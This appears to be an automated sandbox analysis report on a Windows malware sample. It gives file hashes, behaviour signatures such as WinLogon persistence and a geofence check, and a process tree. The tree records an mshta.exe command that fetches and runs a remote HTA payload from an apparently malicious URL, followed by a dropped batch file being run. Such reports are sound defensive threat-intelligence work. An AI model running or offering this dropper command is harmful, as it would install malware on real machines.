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Analysis

  • max time kernel
    40s
  • max time network
    49s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/12/2023, 16:56

Errors

Reason
Machine shutdown

General

  • Target

    0723631d44c8870c1a0dec5ba31ba621.exe

  • Size

    525KB

  • MD5

    0723631d44c8870c1a0dec5ba31ba621

  • SHA1

    cfc31802293fb71ad5bc7f54fe1ecd0e2780b668

  • SHA256

    a823643d7bd5594e42ff72c5c1129a636041387511790f21c5c1d94a3423d11b

  • SHA512

    2966c2d9670496c2b28a7f0c8b68669d48531ac1c13659a99ca02a4f4e0f92da63bb29a05adbe69c206538bc0234f976c570fc0ea7072194c1ee2ad2f7848e4a

  • SSDEEP

    12288:FrS7qHEmWv55+MgvWSL0RAa/s+6+/fgl/tZRn:cOkDvf+Vt0RAa/SXDn

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://raptopreport.com/inst.php?id=02901

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\0723631d44c8870c1a0dec5ba31ba621.exe
    "C:\Users\Admin\AppData\Local\Temp\0723631d44c8870c1a0dec5ba31ba621.exe"
    1⤵
    • Modifies WinLogon for persistence
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5052
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" http://raptopreport.com/inst.php?id=02901
      2⤵
        PID:5068
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\agtyjkj.bat" "
        2⤵
          PID:1468
      • C:\Windows\system32\LogonUI.exe
        "LogonUI.exe" /flags:0x4 /state0:0xa39a2855 /state1:0x41c64e6d
        1⤵
        • Modifies data under HKEY_USERS
        • Suspicious use of SetWindowsHookEx
        PID:1224

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Roaming\agtyjkj.bat

        Filesize

        234B

        MD5

        037e377014cc011c45c4e647c7bcb73c

        SHA1

        49e467e5a89331425d61c2751577bd1e62e9eba3

        SHA256

        8dcaa9326f966f3e788cb48adad30bac4518661414533a74331a1d5e9f68e59e

        SHA512

        ee26eb9ee7079638771a22f40809f5b7fca5e706f164f72f67a8aa603b3817a1c204273bfb9d1a633a88d981b1f4c933a2bd0e9b0ad9a8b02205334c57b89ae6

      • memory/5052-0-0x0000000000400000-0x000000000069C000-memory.dmp

        Filesize

        2.6MB

      • memory/5052-1-0x0000000000890000-0x0000000000891000-memory.dmp

        Filesize

        4KB

      • memory/5052-7-0x0000000000400000-0x000000000069C000-memory.dmp

        Filesize

        2.6MB